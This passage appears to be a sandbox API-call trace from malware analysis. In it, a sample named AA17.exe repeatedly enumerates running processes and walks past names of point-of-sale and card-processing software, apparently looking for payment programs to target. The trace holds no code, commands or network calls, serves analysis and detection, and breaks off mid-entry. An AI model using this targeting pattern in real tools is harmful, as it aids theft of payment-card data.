1 [0236.708] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0236.710] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0236.712] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0236.714] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0236.716] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0236.718] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0236.720] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0236.721] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0236.723] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0236.725] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0236.727] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0236.729] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0236.731] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0236.733] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0236.735] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0236.737] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0236.738] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0236.740] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0236.742] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0236.744] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0236.746] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0236.749] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.751] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0236.752] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0236.754] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0236.757] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0236.758] CloseHandle (hObject=0x148c) returned 1 [0236.758] Sleep (dwMilliseconds=0x64) [0236.760] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0236.774] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.777] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.780] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.783] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.785] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.788] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.790] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.793] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.795] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.797] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.811] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.816] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.820] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.824] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.828] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.831] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.833] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.836] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.838] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.841] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.843] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0236.920] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.923] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.925] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0236.928] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0236.935] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0236.937] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0236.940] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0236.942] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0236.945] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0236.947] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.949] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.953] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0236.956] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.959] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.961] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0236.964] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0236.966] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0236.969] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0236.971] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0236.973] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0236.978] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0236.981] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0236.983] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0236.985] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0236.988] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0236.990] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0236.993] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0236.995] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0236.997] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0237.000] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0237.002] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0237.005] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0237.042] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0237.044] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0237.055] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0237.058] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0237.059] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: 